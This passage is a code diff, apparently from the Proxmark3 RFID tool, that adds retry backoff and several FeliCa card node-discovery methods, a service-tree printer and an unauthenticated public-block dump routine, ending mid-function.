@@ static int send_get_container_property(uint8_t flags, uint16_t datalen, uint8_t if (send_felica_payload_with_retries(flags, datalen, data, false, FELICA_GET_CONTAINER_PROPERTY_ACK, FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, - false, &resp, "get container property") != PM3_SUCCESS) { + 0, false, &resp, "get container property") != PM3_SUCCESS) { return PM3_ERFTRANS; } @@ -693,7 +867,7 @@ static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, if (send_felica_payload_with_retries(flags, datalen, data, false, FELICA_GET_CONTAINER_ISSUE_INFO_ACK, FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, - false, &resp, "get container issue info") != PM3_SUCCESS) { + 0, false, &resp, "get container issue info") != PM3_SUCCESS) { return PM3_ERFTRANS; } @@ -719,7 +893,7 @@ static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_ if (send_felica_payload_with_retries(flags, datalen, data, false, FELICA_GETPLATFORMINFO_ACK, FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, - false, &resp, "get platform info") != PM3_SUCCESS) { + 0, false, &resp, "get platform info") != PM3_SUCCESS) { return PM3_ERFTRANS; } @@ -771,7 +945,7 @@ static int send_request_specification_version(uint8_t flags, uint16_t datalen, u if (send_felica_payload_with_retries(flags, datalen, data, verbose, FELICA_REQUEST_SPEC_VERSION_ACK, timeout_ms, retries, - logging, &resp, "request specification version") != PM3_SUCCESS) { + 0, logging, &resp, "request specification version") != PM3_SUCCESS) { return PM3_ERFTRANS; } @@ -1089,19 +1263,6 @@ static void print_read_without_encryption_response(felica_read_without_encryptio } } -/** - * Shared retry log helper. - */ -static void log_felica_retry_attempt(const char *request_name, uint32_t attempt, uint32_t retries) { - if (request_name) { - PrintAndLogEx(WARNING, "Retrying %s (%" PRIu32 "/%" PRIu32 ")", - request_name, attempt + 1, retries); - } else { - PrintAndLogEx(WARNING, "Retrying request (%" PRIu32 "/%" PRIu32 ")", - attempt + 1, retries); - } -} - /** * Generic FeliCa command sender with timeout and retries. * @param flags command flags @@ -1116,30 +1277,49 @@ static void log_felica_retry_attempt(const char *request_name, uint32_t attempt, * @return PM3_SUCCESS on success */ static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, uint32_t backoff_ms, bool logging, PacketResponseNG *resp, const char *request_name) { for (uint32_t attempt = 0; attempt <= retries; attempt++) { + if (attempt > 0) { + if (logging) { + if (request_name) { + PrintAndLogEx(WARNING, "Retrying %s (%" PRIu32 "/%" PRIu32 ")", + request_name, attempt, retries); + } else { + PrintAndLogEx(WARNING, "Retrying request (%" PRIu32 "/%" PRIu32 ")", + attempt, retries); + } + } + uint32_t backoff_delay_ms = 0; + if (backoff_ms > 0) { + static const uint32_t schedule_ms[] = {0U, 100U, 200U, 500U, 1000U}; + size_t index = (size_t)(attempt - 1U); + if (index >= ARRAYLEN(schedule_ms)) { + index = ARRAYLEN(schedule_ms) - 1U; + } + backoff_delay_ms = schedule_ms[index]; + if (backoff_delay_ms > backoff_ms) { + backoff_delay_ms = backoff_ms; + } + } + if (backoff_delay_ms > 0) { + msleep(backoff_delay_ms); + } + } + clear_and_send_command(flags, datalen, data, verbose); if (waitCmdFelicaEx(false, resp, verbose, logging, timeout_ms) == false) { - if (logging && attempt < retries) { - log_felica_retry_attempt(request_name, attempt, retries); - } continue; } if (expected_response_cmd >= 0) { if (resp->length < sizeof(felica_frame_response_noidm_t)) { - if (logging && attempt < retries) { - log_felica_retry_attempt(request_name, attempt, retries); - } continue; } const felica_frame_response_noidm_t *frame_response = (const felica_frame_response_noidm_t *)resp->data.asBytes; if (frame_response->cmd_code[0] != (uint8_t)expected_response_cmd) { - if (logging && attempt < retries) { - log_felica_retry_attempt(request_name, attempt, retries); - } else if (logging) { + if (logging && attempt == retries) { PrintAndLogEx(FAILED, "Bad response cmd 0x%02X (expected 0x%02X).", frame_response->cmd_code[0], (uint8_t)expected_response_cmd); } @@ -1164,7 +1344,7 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve if (send_felica_payload_with_retries(flags, datalen, data, verbose, 0x03, FELICA_DEFAULT_TIMEOUT_MS, 0, - true, + 0, true, &resp, "request service") != PM3_SUCCESS) { PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; @@ -1193,13 +1373,15 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve */ static int send_read_without_encryption_ex(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_read_without_encryption_response_t *rd_noCry_resp, - uint32_t timeout_ms, uint32_t retries) { + uint32_t timeout_ms, uint32_t retries, uint32_t backoff_ms, bool logging) { PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, verbose, 0x07, timeout_ms, retries, - true, + backoff_ms, logging, &resp, "read without encryption") != PM3_SUCCESS) { - PrintAndLogEx(ERR, "No response from card"); + if (logging) { + PrintAndLogEx(ERR, "No response from card"); + } return PM3_ERFTRANS; } @@ -1214,7 +1396,16 @@ static int send_read_without_encryption_ex(uint8_t flags, uint16_t datalen, uint static int send_read_without_encryption(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_read_without_encryption_response_t *rd_noCry_resp) { return send_read_without_encryption_ex(flags, datalen, data, verbose, rd_noCry_resp, - FELICA_DEFAULT_TIMEOUT_MS, 0); + FELICA_DEFAULT_TIMEOUT_MS, 0, 0, true); +} + +static int send_request_code_list(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + uint32_t timeout_ms, uint32_t retries, uint32_t backoff_ms, + bool logging, PacketResponseNG *resp) { + return send_felica_payload_with_retries(flags, datalen, data, verbose, + FELICA_GET_NODE_LIST_ACK, + timeout_ms, retries, backoff_ms, + logging, resp, "request code list"); } /** @@ -1229,14 +1420,17 @@ static int send_read_without_encryption(uint8_t flags, uint16_t datalen, uint8_t * @return success if response was received. */ static int send_search_service_code(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - uint32_t timeout_ms, uint32_t retries, + uint32_t timeout_ms, uint32_t retries, uint32_t backoff_ms, + bool logging, felica_search_service_code_response_t *search_sv_resp) { PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, verbose, 0x0B, timeout_ms, retries, - true, + backoff_ms, logging, &resp, "search service") != PM3_SUCCESS) { - PrintAndLogEx(ERR, "No response from card"); + if (logging) { + PrintAndLogEx(ERR, "No response from card"); + } return PM3_ERFTRANS; } @@ -1244,6 +1438,818 @@ static int send_search_service_code(uint8_t flags, uint16_t datalen, uint8_t *da return PM3_SUCCESS; } +static uint16_t felica_to_network_order(uint16_t value) { + return (uint16_t)(((value & 0xFF00U) >> 8) | ((value & 0x00FFU) << 8)); +} + +static void felica_drop_connect_flag(uint8_t *flags) { + if (flags) { + *flags = FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; + } +} + +static void felica_set_discovered_count(uint32_t *discovered_count, uint32_t count) { + if (discovered_count) { + *discovered_count = count; + } +} + +static void felica_set_stop_status(int *stop_status, int status) { + if (stop_status) { + *stop_status = status; + } +} + +static bool felica_discovery_aborted(int *stop_status) { + if (kbd_enter_pressed()) { + felica_set_stop_status(stop_status, PM3_EOPABORTED); + return true; + } + return false; +} + +static int felica_emit_discovered_node(const felica_discovered_node_t *node, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status) { + int ret = visitor(node, ctx); + if (ret != PM3_SUCCESS) { + felica_set_stop_status(stop_status, ret); + return ret; + } + + if (discovered_count) { + (*discovered_count)++; + } + + return PM3_SUCCESS; +} + +static const felica_node_discovery_method_info_t FELICA_NODE_DISCOVERY_METHODS[] = { + { + .method = FELICA_NODE_DISCOVERY_REQUEST_CODE_LIST, + .cli_name = "request_code_list", + .display_name = "RequestCodeList", + .run = felica_discover_nodes_with_request_code_list + }, + { + .method = FELICA_NODE_DISCOVERY_SEARCH_SERVICE_CODE, + .cli_name = "search_service_code", + .display_name = "SearchServiceCode", + .run = felica_discover_nodes_with_search_service_code + }, + { + .method = FELICA_NODE_DISCOVERY_REQUEST_SERVICE, + .cli_name = "request_service", + .display_name = "RequestService", + .run = felica_discover_nodes_with_request_service + }, + { + .method = FELICA_NODE_DISCOVERY_READ_WITHOUT_ENCRYPTION, + .cli_name = "read_without_encryption", + .display_name = "ReadWithoutEncryption", + .run = felica_discover_nodes_with_read_without_encryption + }, +}; + +static const felica_node_discovery_method_info_t *felica_get_node_discovery_method_info(felica_node_discovery_method_t method) { + for (size_t i = 0; i < ARRAYLEN(FELICA_NODE_DISCOVERY_METHODS); i++) { + if (FELICA_NODE_DISCOVERY_METHODS[i].method == method) { + return &FELICA_NODE_DISCOVERY_METHODS[i]; + } + } + return NULL; +} + +static const char *felica_node_discovery_method_display_name(felica_node_discovery_method_t method) { + if (method == FELICA_NODE_DISCOVERY_NONE) { + return "Auto"; + } + const felica_node_discovery_method_info_t *info = felica_get_node_discovery_method_info(method); + return info ? info->display_name : "Auto"; +} + +static void felica_print_node_discovery_method_used(felica_node_discovery_method_t method) { + const char *name = felica_node_discovery_method_display_name(method); + if (method == FELICA_NODE_DISCOVERY_REQUEST_CODE_LIST) { + PrintAndLogEx(INFO, "Node discovery method used: " _GREEN_("%s"), name); + return; + } + if (method == FELICA_NODE_DISCOVERY_REQUEST_SERVICE) { + PrintAndLogEx(INFO, "Node discovery method used: " _YELLOW_("%s"), name); + return; + } + if (method == FELICA_NODE_DISCOVERY_READ_WITHOUT_ENCRYPTION) { + PrintAndLogEx(INFO, "Node discovery method used: " _RED_("%s"), name); + return; + } + PrintAndLogEx(INFO, "Node discovery method used: %s", name); +} + +static bool felica_discover_nodes_with_request_code_list(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status) { + + uint8_t data[14] = {0}; + data[0] = sizeof(data); + data[1] = FELICA_GET_NODE_LIST_REQ; + memcpy(data + 2, idm, 8); + data[10] = 0x00; + data[11] = 0x00; + + bool supported = false; + uint32_t local_count = 0; + + for (uint16_t index = 1; index != 0; index++) { + if (felica_discovery_aborted(stop_status)) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + data[12] = index & 0xFF; + data[13] = (index >> 8) & 0xFF; + + PacketResponseNG resp; + if (send_request_code_list(*flags, sizeof(data), data, false, + FELICA_DEFAULT_TIMEOUT_MS, retry_count, + supported ? FELICA_DISCOVERY_RETRY_BACKOFF_MS : 0, supported, &resp) != PM3_SUCCESS) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + if (supported == false) { + supported = true; + felica_print_node_discovery_method_used(FELICA_NODE_DISCOVERY_REQUEST_CODE_LIST); + } + felica_drop_connect_flag(flags); + + size_t offset = sizeof(felica_frame_response_t); + if (resp.length < offset + 4) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + const uint8_t status_flag1 = resp.data.asBytes[offset++]; + const uint8_t status_flag2 = resp.data.asBytes[offset++]; + if (status_flag1 != 0x00 || status_flag2 != 0x00) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + const bool continue_flag = resp.data.asBytes[offset++] != 0x00; + const uint8_t area_count = resp.data.asBytes[offset++]; + const size_t area_bytes = (size_t)area_count * 4U; + + if (resp.length < offset + area_bytes + 1U) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + felica_discovered_node_t batch_nodes[128]; + size_t batch_count = 0; + + for (uint8_t i = 0; i < area_count; i++) { + felica_discovered_node_t node = {0}; + node.is_area = true; + node.node_code_le = (uint16_t)resp.data.asBytes[offset] | + ((uint16_t)resp.data.asBytes[offset + 1] << 8); + node.has_end_code = true; + node.end_code_le = (uint16_t)resp.data.asBytes[offset + 2] | + ((uint16_t)resp.data.asBytes[offset + 3] << 8); + offset += 4; + if (batch_count < (sizeof(batch_nodes) / sizeof(batch_nodes[0]))) { + batch_nodes[batch_count++] = node; + } + } + + const uint8_t service_count = resp.data.asBytes[offset++]; + const size_t service_bytes = (size_t)service_count * 2U; + if (resp.length < offset + service_bytes) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + for (uint8_t i = 0; i < service_count; i++) { + felica_discovered_node_t node = {0}; + node.is_area = false; + node.node_code_le = (uint16_t)resp.data.asBytes[offset] | + ((uint16_t)resp.data.asBytes[offset + 1] << 8); + node.has_end_code = false; + node.end_code_le = 0; + offset += 2; + if (batch_count < (sizeof(batch_nodes) / sizeof(batch_nodes[0]))) { + batch_nodes[batch_count++] = node; + } + } + + qsort(batch_nodes, batch_count, sizeof(batch_nodes[0]), felica_compare_discovered_nodes); + for (size_t i = 0; i < batch_count; i++) { + if (felica_emit_discovered_node(&batch_nodes[i], visitor, ctx, &local_count, stop_status) != PM3_SUCCESS) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + } + + if (continue_flag == false) { + break; + } + } + + felica_set_discovered_count(discovered_count, local_count); + + return supported; +} + +static bool felica_discover_nodes_with_search_service_code(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status) { + + uint8_t data[12] = {0}; + data[0] = sizeof(data); + data[1] = FELICA_SRCHSYSCODE_REQ; + memcpy(data + 2, idm, 8); + + bool supported = false; + uint32_t local_count = 0; + + for (uint32_t cursor = 0; cursor <= 0xFFFFU; cursor++) { + if (felica_discovery_aborted(stop_status)) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + data[10] = cursor & 0xFF; + data[11] = (cursor >> 8) & 0xFF; + + felica_search_service_code_response_t resp; + if (send_search_service_code(*flags, sizeof(data), data, false, + FELICA_DEFAULT_TIMEOUT_MS, retry_count, + supported ? FELICA_DISCOVERY_RETRY_BACKOFF_MS : 0, + supported, + &resp) != PM3_SUCCESS) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + if (supported == false) { + supported = true; + felica_print_node_discovery_method_used(FELICA_NODE_DISCOVERY_SEARCH_SERVICE_CODE); + } + felica_drop_connect_flag(flags); + + const uint8_t frame_len = resp.frame_response.length[0]; + if (frame_len != 0x0C && frame_len != 0x0E) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + const uint16_t node_code_le = (uint16_t)resp.payload[0] | ((uint16_t)resp.payload[1] << 8); + if (node_code_le == 0xFFFF) { + break; + } + + felica_discovered_node_t node = {0}; + node.is_area = (frame_len == 0x0E); + node.node_code_le = node_code_le; + node.has_end_code = (frame_len == 0x0E); + node.end_code_le = node.has_end_code ? ((uint16_t)resp.payload[2] | ((uint16_t)resp.payload[3] << 8)) : 0; + + if (felica_emit_discovered_node(&node, visitor, ctx, &local_count, stop_status) != PM3_SUCCESS) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + } + + felica_set_discovered_count(discovered_count, local_count); + + return supported; +} + +static bool felica_request_service_send_probe_batch(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + const uint16_t *node_codes_le, + const bool *is_area_nodes, + size_t node_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + bool *supported, + uint32_t *discovered_count, + int *stop_status) { + if (node_count == 0 || node_count > FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE) { + return false; + } + + uint8_t data[1 + 1 + 8 + 1 + (FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE * 2)] = {0}; + const uint16_t datalen = (uint16_t)(1 + 1 + 8 + 1 + (node_count * 2)); + data[0] = (uint8_t)datalen; + data[1] = FELICA_REQSRV_REQ; + memcpy(data + 2, idm, 8); + data[10] = (uint8_t)node_count; + + for (size_t i = 0; i < node_count; i++) { + data[11 + i * 2] = node_codes_le[i] & 0xFF; + data[12 + i * 2] = (node_codes_le[i] >> 8) & 0xFF; + } + + PacketResponseNG resp; + const bool logging = (supported != NULL) && (*supported); + const uint32_t backoff_ms = logging ? FELICA_DISCOVERY_RETRY_BACKOFF_MS : 0; + if (send_felica_payload_with_retries(*flags, datalen, data, false, + FELICA_REQSRV_ACK, + FELICA_DEFAULT_TIMEOUT_MS, retry_count, + backoff_ms, logging, &resp, "request service") != PM3_SUCCESS) { + return false; + } + + if (supported) { + if (*supported == false) { + felica_print_node_discovery_method_used(FELICA_NODE_DISCOVERY_REQUEST_SERVICE); + } + *supported = true; + } + felica_drop_connect_flag(flags); + + size_t offset = sizeof(felica_frame_response_t); + if (resp.length < offset + 1U) { + return false; + } + + size_t returned_nodes = resp.data.asBytes[offset++]; + size_t available_nodes = (resp.length > offset) ? ((resp.length - offset) / 2U) : 0; + if (returned_nodes > available_nodes) { + returned_nodes = available_nodes; + } + if (returned_nodes > node_count) { + returned_nodes = node_count; + } + + for (size_t i = 0; i < returned_nodes; i++) { + const uint16_t key_version = (uint16_t)resp.data.asBytes[offset + i * 2] | + ((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8); + if (key_version == 0xFFFF) { + continue; + } + + felica_discovered_node_t node = {0}; + node.is_area = is_area_nodes[i]; + node.node_code_le = node_codes_le[i]; + node.has_end_code = false; + node.end_code_le = 0; + + if (felica_emit_discovered_node(&node, visitor, ctx, discovered_count, stop_status) != PM3_SUCCESS) { + return false; + } + } + + return true; +} + +static bool felica_discover_nodes_with_request_service(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status) { + bool supported = false; + uint32_t local_count = 0; + + uint16_t batch_codes[FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE] = {0}; + bool batch_is_area[FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE] = {0}; + size_t batch_count = 0; + + for (uint16_t number = 0; number <= FELICA_MAX_NODE_NUMBER; number++) { + for (size_t j = 0; j < (sizeof(FELICA_REQUEST_SERVICE_PROBE_ATTRIBUTES) / sizeof(FELICA_REQUEST_SERVICE_PROBE_ATTRIBUTES[0])); j++) { + if (felica_discovery_aborted(stop_status)) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + const felica_request_service_probe_attribute_t probe_attr = FELICA_REQUEST_SERVICE_PROBE_ATTRIBUTES[j]; + const uint16_t node_code_le = (uint16_t)((number << 6) | probe_attr.attribute); + + batch_codes[batch_count] = node_code_le; + batch_is_area[batch_count] = probe_attr.is_area; + batch_count++; + + if (batch_count == FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE) { + if (felica_request_service_send_probe_batch(flags, idm, retry_count, + batch_codes, batch_is_area, batch_count, + visitor, ctx, &supported, &local_count, stop_status) == false) { + felica_set_discovered_count(discovered_count, local_count); + if (stop_status && *stop_status == PM3_EOPABORTED) { + return false; + } + if (supported) { + PrintAndLogEx(WARNING, "Node discovery interrupted due to communication loss."); + } + return false; + } + batch_count = 0; + } + } + } + + if (batch_count > 0) { + if (felica_request_service_send_probe_batch(flags, idm, retry_count, + batch_codes, batch_is_area, batch_count, + visitor, ctx, &supported, &local_count, stop_status) == false) { + felica_set_discovered_count(discovered_count, local_count); + if (stop_status && *stop_status == PM3_EOPABORTED) { + return false; + } + if (supported) { + PrintAndLogEx(WARNING, "Node discovery interrupted due to communication loss."); + } + return false; + } + } + + felica_set_discovered_count(discovered_count, local_count); + + return supported; +} + +static bool felica_discover_nodes_with_read_without_encryption(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status) { + uint8_t data[16] = {0}; + data[0] = sizeof(data); + data[1] = FELICA_RDBLK_REQ; + memcpy(data + 2, idm, 8); + data[10] = 0x01; + data[13] = 0x01; + data[14] = 0x80; + data[15] = 0x00; + + bool supported = false; + uint32_t local_count = 0; + + for (uint16_t node_number = 0; node_number <= FELICA_MAX_NODE_NUMBER; node_number++) { + for (size_t i = 0; i < ARRAYLEN(FELICA_REQUEST_SERVICE_PROBE_ATTRIBUTES); i++) { + if (felica_discovery_aborted(stop_status)) { + felica_set_discovered_count(discovered_count, local_count); + return false; + } + + const felica_request_service_probe_attribute_t probe_attr = FELICA_REQUEST_SERVICE_PROBE_ATTRIBUTES[i]; + if (probe_attr.is_area || probe_attr.with_key || probe_attr.with_pin) { + continue; + } + + const uint16_t service_code_le = (uint16_t)((node_number << 6) | probe_attr.attribute); + data[11] = service_code_le & 0xFF; + data[12] = (service_code_le >> 8) & 0xFF; + + felica_read_without_encryption_response_t resp; + if (send_read_without_encryption_ex(*flags, sizeof(data), data, false, + &resp, + FELICA_DEFAULT_TIMEOUT_MS, retry_count, + supported ? FELICA_DISCOVERY_RETRY_BACKOFF_MS : 0, supported) != PM3_SUCCESS) { + if (supported == false) { + return false; + } + PrintAndLogEx(WARNING, "Stopping ReadWithoutEncryption discovery due to communication loss (possible card removed)."); + if (discovered_count) { + *discovered_count = local_count; + } + return true; + } + + if (supported == false) { + supported = true; + felica_print_node_discovery_method_used(FELICA_NODE_DISCOVERY_READ_WITHOUT_ENCRYPTION); + } + felica_drop_connect_flag(flags); + + /* + * For discovery via ReadWithoutEncryption: + * - A6 (Illegal Service Code List) is treated as "node does not exist". + * - Other status codes (for example A8, B1) still imply the node exists. + */ + if (resp.status_flags.status_flag2[0] == 0xA6) { + continue; + } + + felica_discovered_node_t node = {0}; + node.is_area = false; + node.node_code_le = service_code_le; + node.has_end_code = false; + node.end_code_le = 0; + + if (felica_emit_discovered_node(&node, visitor, ctx, &local_count, stop_status) != PM3_SUCCESS) { + if (discovered_count) { + *discovered_count = local_count; + } + return false; + } + } + } + + if (discovered_count) { + *discovered_count = local_count; + } + + return supported; +} + +static const char *felica_node_discovery_method_cli_name(felica_node_discovery_method_t method) { + if (method == FELICA_NODE_DISCOVERY_NONE) { + return "auto"; + } + const felica_node_discovery_method_info_t *info = felica_get_node_discovery_method_info(method); + return info ? info->cli_name : "auto"; +} + +static int felica_parse_node_discovery_method(const char *method_str, felica_node_discovery_method_t *method_out) { + if (method_out == NULL) { + return PM3_EINVARG; + } + + *method_out = FELICA_NODE_DISCOVERY_NONE; + + if (method_str == NULL || method_str[0] == '\0' || strcmp(method_str, "auto") == 0) { + return PM3_SUCCESS; + } + + for (size_t i = 0; i < ARRAYLEN(FELICA_NODE_DISCOVERY_METHODS); i++) { + if (strcmp(method_str, FELICA_NODE_DISCOVERY_METHODS[i].cli_name) == 0) { + *method_out = FELICA_NODE_DISCOVERY_METHODS[i].method; + return PM3_SUCCESS; + } + } + + PrintAndLogEx(ERR, "Unknown --method `%s`.", method_str); + PrintAndLogEx(INFO, "Valid values: auto, request_code_list, search_service_code, request_service, read_without_encryption"); + return PM3_EINVARG; +} + +static int felica_discover_nodes(const uint8_t *idm, + uint8_t *flags, + uint32_t retry_count, + felica_node_discovery_method_t selected_method, + felica_node_discovery_visitor_t visitor, + void *ctx, + felica_node_discovery_method_t *method_out, + uint32_t *discovered_count_out) { + if (idm == NULL || flags == NULL || visitor == NULL) { + return PM3_EINVARG; + } + + felica_node_discovery_method_t ignored_method = FELICA_NODE_DISCOVERY_NONE; + uint32_t ignored_count = 0; + felica_node_discovery_method_t *const out_method = method_out ? method_out : &ignored_method; + uint32_t *const out_count = discovered_count_out ? discovered_count_out : &ignored_count; + + uint32_t discovered_count = 0; + const bool auto_mode = (selected_method == FELICA_NODE_DISCOVERY_NONE); + for (size_t i = 0; i < ARRAYLEN(FELICA_NODE_DISCOVERY_METHODS); i++) { + const felica_node_discovery_method_info_t *info = &FELICA_NODE_DISCOVERY_METHODS[i]; + if (!auto_mode && selected_method != info->method) { + continue; + } + + discovered_count = 0; + int stop_status = PM3_SUCCESS; + if (info->run(flags, idm, retry_count, visitor, ctx, &discovered_count, &stop_status)) { + *out_method = info->method; + *out_count = discovered_count; + return PM3_SUCCESS; + } + + if (stop_status != PM3_SUCCESS) { + *out_method = info->method; + *out_count = discovered_count; + return stop_status; + } + + if (discovered_count > 0) { + *out_method = info->method; + *out_count = discovered_count; + return PM3_ERFTRANS; + } + + if (!auto_mode) { + *out_method = FELICA_NODE_DISCOVERY_NONE; + *out_count = discovered_count; + return PM3_ERFTRANS; + } + } + + *out_method = FELICA_NODE_DISCOVERY_NONE; + *out_count = 0; + return PM3_ERFTRANS; +} + +static bool felica_format_service_attribute(uint16_t service_code_le, char *attrib_str, size_t attrib_str_size) { + if (attrib_str == NULL || attrib_str_size == 0) { + return false; + } + + const uint8_t attribute = service_code_le & 0x3F; + const bool is_public = (attribute & FELICA_SERVICE_ATTRIBUTE_UNAUTH_READ) != 0; + const bool is_purse = (attribute & FELICA_SERVICE_ATTRIBUTE_PURSE) != 0; + const char *visibility = is_public ? "Public " : "Private"; + const char *group = NULL; + const char *mode = NULL; + + if (is_purse) { + group = "Purse "; + switch ((attribute & FELICA_SERVICE_ATTRIBUTE_PURSE_SUBFIELD) >> 1) { + case 0: + mode = "Direct"; + break; + case 1: + mode = "Cashback"; + break; + case 2: + mode = "Decrement"; + break; + case 3: + mode = "Read Only"; + break; + default: + mode = "Unknown"; + break; + } + } else { + const bool is_random = (attribute & FELICA_SERVICE_ATTRIBUTE_RANDOM_ACCESS) != 0; + const bool is_readonly = (attribute & FELICA_SERVICE_ATTRIBUTE_READ_ONLY) != 0; + group = is_random ? "Random" : "Cyclic"; + mode = is_readonly ? "Read Only" : "Read/Write"; + } + + snprintf(attrib_str, attrib_str_size, "| %s | %s | %s |", visibility, group, mode); + return is_public; +} + +static int felica_compare_discovered_nodes(const void *lhs, const void *rhs) { + const felica_discovered_node_t *a = (const felica_discovered_node_t *)lhs; + const felica_discovered_node_t *b = (const felica_discovered_node_t *)rhs; + + if (a->node_code_le < b->node_code_le) { + return -1; + } + if (a->node_code_le > b->node_code_le) { + return 1; + } + + if (a->is_area != b->is_area) { + return a->is_area ? -1 : 1; + } + + if (a->has_end_code != b->has_end_code) { + return a->has_end_code ? -1 : 1; + } + + if (a->end_code_le < b->end_code_le) { + return -1; + } + if (a->end_code_le > b->end_code_le) { + return 1; + } + + return 0; +} + +static int felica_scsvcode_discovery_visitor(const felica_discovered_node_t *node, void *ctx) { + if (node == NULL || ctx == NULL) { + return PM3_EINVARG; + } + + felica_scsvcode_context_t *scsv_ctx = (felica_scsvcode_context_t *)ctx; + if (scsv_ctx->header_printed == false) { + PrintAndLogEx(INFO, "┌───────────────────────────────────────────────"); + scsv_ctx->header_printed = true; + } + + while (scsv_ctx->depth && node->node_code_le > scsv_ctx->area_end_stack[scsv_ctx->depth]) { + scsv_ctx->depth--; + } + + char prefix[64] = ""; + for (int level = 1; level < scsv_ctx->depth; level++) { + const bool more_siblings = node->node_code_le < scsv_ctx->area_end_stack[level]; + strcat(prefix, more_siblings ? "│ " : " "); + } + strcat(prefix, "├── "); + + const uint16_t node_code_be = felica_to_network_order(node->node_code_le); + const uint16_t node_number = node->node_code_le >> 6; + + if (node->is_area) { + scsv_ctx->area_count++; + if (node->has_end_code) { + const uint16_t end_code_be = felica_to_network_order(node->end_code_le); + const uint16_t end_number = node->end_code_le >> 6; + PrintAndLogEx(INFO, "%sAREA_%04X%04X (%u-%u)", prefix, + node_code_be, end_code_be, + node_number, end_number); + + if (scsv_ctx->depth < 7) { + scsv_ctx->area_end_stack[++scsv_ctx->depth] = node->end_code_le; + } + } else { + PrintAndLogEx(INFO, "%sAREA_%04X (%u-?)", prefix, node_code_be, node_number); + } + } else { + scsv_ctx->service_count++; + PrintAndLogEx(INFO, "%sSVC_%04X (%u)", prefix, node_code_be, node_number); + } + + return PM3_SUCCESS; +} + +static void felica_scsvcode_print_footer(const felica_scsvcode_context_t *scsv_ctx) { + if (scsv_ctx == NULL || scsv_ctx->header_printed == false) { + return; + } + + char bar[128]; + size_t pos = 0; + pos += snprintf(bar + pos, sizeof(bar) - pos, "└"); + for (int i = 0; i < scsv_ctx->depth - 1 && pos < sizeof(bar); i++) { + pos += snprintf(bar + pos, sizeof(bar) - pos, "───┴"); + } + snprintf(bar + pos, sizeof(bar) - pos, "───────────────────────"); + PrintAndLogEx(INFO, "%s", bar); +} + +static int felica_dump_discovery_visitor(const felica_discovered_node_t *node, void *ctx) { + if (node == NULL || ctx == NULL) { + return PM3_EINVARG; + } + + felica_dump_context_t *dump_ctx = (felica_dump_context_t *)ctx; + if (dump_ctx->flags == NULL) { + return PM3_EINVARG; + } + + if (node->is_area) { + return PM3_SUCCESS; + } + + dump_ctx->service_count++; + + char attrib_str[64] = {0}; + const bool is_public = felica_format_service_attribute(node->node_code_le, attrib_str, sizeof(attrib_str)); + PrintAndLogEx(INFO, "Service %04X %s", felica_to_network_order(node->node_code_le), attrib_str); + + if (is_public == false) { + return PM3_SUCCESS; + } + + if ((node->node_code_le & FELICA_SERVICE_ATTRIBUTE_PIN_REQUIRED) != 0) { + PrintAndLogEx(INFO, " PIN protected; skipping unauthenticated read."); + return PM3_SUCCESS; + } + + dump_ctx->public_service_count++; + + PrintAndLogEx(INFO, " block | data "); + PrintAndLogEx(INFO, "-------+----------------------------------------"); + + dump_ctx->block_frame[11] = node->node_code_le & 0xFF; + dump_ctx->block_frame[12] = (node->node_code_le >> 8) & 0xFF; + + for (uint16_t block = 0x00; block < 0xFF; block++) { + if (kbd_enter_pressed()) { + return PM3_EOPABORTED; + } + + dump_ctx->block_frame[15] = block; + felica_read_without_encryption_response_t rd_noCry_resp; + if (send_read_without_encryption_ex(*(dump_ctx->flags), dump_ctx->block_datalen, + dump_ctx->block_frame, false, + &rd_noCry_resp, + FELICA_DEFAULT_TIMEOUT_MS, 